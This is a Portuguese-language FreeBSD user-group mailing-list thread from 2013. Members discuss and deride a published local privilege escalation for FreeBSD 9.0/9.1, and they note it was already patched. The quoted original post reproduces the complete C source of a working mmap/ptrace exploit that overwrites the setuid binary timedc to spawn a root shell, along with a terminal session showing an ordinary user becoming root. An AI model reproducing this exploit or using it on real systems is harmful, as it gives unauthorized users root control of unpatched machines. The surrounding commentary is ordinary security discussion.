Em 24/06/13 18:44, firebits escreveu: > Marcelo Gondim, cita para nós qual é a lista de security, que fez essa > afirmação, fiquei curioso...rss > > @firebitsbr Foi o Emiel Kollof que mandou pra bugtraq (bugt...@securityfocus.com)
> > > Em 20 de junho de 2013 17:38, Marcelo Gondim <gon...@bsdinfo.com.br>escreveu: > >> Em 20/06/13 15:42, Evandro Nunes escreveu: >>> On Thu, Jun 20, 2013 at 9:29 AM, Marcelo Gondim <gon...@bsdinfo.com.br >>> wrote: >>> >>>> É pessoal, >>>> >>>> Sei que a vulnerabilidade foi corrigida agora mas foram 20 anos para >>>> detectar isso? :( >>>> E funciona lindo mesmo o programa. >>>> >>> de onde saiu isso que tem 20 anos? pelo pouco que deu pra ler explora uma >>> falha do freebsd 9 inclusive o security adv so explora o freebsd 9 >>> alguem teve sucesso com freebsd 8, 7, outro? >>> acho que a frase "seguranca de 20 anos atras" foi apenas ironiazinha >>> pelo que vi esse vulnerabilidade nao afeta quem tem debug de processo nao >>> root nem quem tem mac_partition ou bsdextended implementado >>> >>> nego quer é aparecer rss rsss a falha tai, mas não teve 0day inclusive o >>> "ultra mega hacker expert" só fez o exploit depois que o advisory foi >>> publicado, e ainda levou 2 dias pra conseguir explorar o que ja estava >>> documentado e corrigido e vem tirar uma onda de full disclosure... >> Pois é recebi isso em uma lista de segurança que assino. Consegui um 8.4 >> e testei e não rola. Só no 9 mesmo. >> Esses caras são uns paiaços mesmo rsrsrsrsrs >> >>> >>>> -------- Mensagem original -------- >>>> Assunto: Happy Birthday FreeBSD! Now you are 20 years old and >> your >>>> security is the same as 20 years ago... :) >>>> Data: Wed, 19 Jun 2013 23:32:59 +0200 >>>> De: Hunger <hun...@hunger.hu> >>>> Para: full-disclos...@lists.grok.org.uk >>>> >>>> >>>> >>>> $ uname -a >>>> FreeBSD fbsd91x64 9.1-RELEASE FreeBSD 9.1-RELEASE #0 r243825: Tue Dec >>>> 4 09:23:10 UTC 2012 >>>> r...@farrell.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC amd64 >>>> $ id >>>> uid=1001(hunger) gid=1002(hunger) groups=1002(hunger) >>>> $ gcc fbsd9lul.c -o fbsd9lul >>>> $ ./fbsd9lul >>>> FreeBSD 9.{0,1} mmap/ptrace exploit >>>> by Hunger <fbsd9...@hunger.hu> >>>> # id >>>> uid=0(root) gid=0(wheel) egid=1002(hunger) groups=1002(hunger) >>>> # >>>> >>>> >>>> ============================ code ========================= >>>> >>>> /* >>>> * FreeBSD 9.{0,1} mmap/ptrace exploit >>>> * by Hunger<fbsd9...@hunger.hu> >>>> * >>>> * Happy Birthday FreeBSD! >>>> * Now you are 20 years old and your security is the same as 20 years >>>> ago... >>>> * >>>> * Greetings to #nohup, _2501, boldi, eax, johnny_b, kocka, op, >> pipacs, >>>> prof, >>>> * sd, sghctoma, snq, spender, s2crew and others at >>>> #hekkcamp: >>>> * I hope we'll meet again at 8@1470n >>>> * >>>> * Special thanks to proactivesec.com >>>> * >>>> */ >>>> >>>> #include <err.h> >>>> #include <errno.h> >>>> #include <unistd.h> >>>> #include <stdio.h> >>>> #include <stdlib.h> >>>> #include <string.h> >>>> #include <fcntl.h> >>>> #include <sys/stat.h> >>>> #include <sys/mman.h> >>>> #include <sys/types.h> >>>> #include <sys/ptrace.h> >>>> #include <sys/wait.h> >>>> >>>> #define SH "/bin/sh" >>>> #define TG "/usr/sbin/timedc" >>>> >>>> int >>>> main(int ac, char **av) { >>>> int from_fd, to_fd, status; >>>> struct stat st; >>>> struct ptrace_io_desc piod; >>>> char *s, *d; >>>> pid_t pid; >>>> >>>> if (geteuid() == 0) { >>>> setuid(0); >>>> execl(SH, SH, NULL); >>>> return 0; >>>> } >>>> >>>> printf("FreeBSD 9.{0,1} mmap/ptrace exploit\n"); >>>> printf("by Hunger<fbsd9...@hunger.hu>\n"); >>>> >>>> if ((from_fd = open(av[0], O_RDONLY)) == -1 || >>>> (to_fd = open(TG, O_RDONLY)) == -1) >>>> err(1, "open"); >>>> >>>> if (stat(av[0], &st) == -1) >>>> err(2, "stat"); >>>> >>>> if (((s = mmap(NULL, (size_t)st.st_size, PROT_READ, >>>> MAP_SHARED, from_fd, (off_t)0)) == MAP_FAILED) || >>>> (d = mmap(NULL, (size_t)st.st_size, PROT_READ, >>>> MAP_SHARED|MAP_NOSYNC, to_fd, (off_t)0)) == >>>> MAP_FAILED) >>>> err(3, "mmap"); >>>> >>>> if ((pid = fork()) == -1) >>>> err(4, "fork"); >>>> >>>> if (!pid) { >>>> if (ptrace(PT_TRACE_ME, pid, NULL, 0) == -1) >>>> err(5, "ptraceme"); >>>> >>>> return 0; >>>> } >>>> >>>> if (ptrace(PT_ATTACH, pid, NULL, 0) == -1) >>>> err(6, "ptattach"); >>>> >>>> if (wait(&status) == -1) >>>> err(7, "wait"); >>>> >>>> piod.piod_op = PIOD_WRITE_D; >>>> piod.piod_offs = d; >>>> piod.piod_addr = s; >>>> piod.piod_len = st.st_size; >>>> >>>> if (ptrace(PT_IO, pid, (caddr_t)&piod, 0) == -1) >>>> err(8, "ptio"); >>>> >>>> execl(TG, TG, NULL); >>>> >>>> return 0; >>>> } >>>> >>>> >>>> >>>> ------------------------- >>>> Histórico: http://www.fug.com.br/historico/html/freebsd/ >>>> Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd >>>> >>> ------------------------- >>> Histórico: http://www.fug.com.br/historico/html/freebsd/ >>> Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd >>> >> ------------------------- >> Histórico: http://www.fug.com.br/historico/html/freebsd/ >> Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd >> > ------------------------- > Histórico: http://www.fug.com.br/historico/html/freebsd/ > Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd > ------------------------- Histórico: http://www.fug.com.br/historico/html/freebsd/ Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd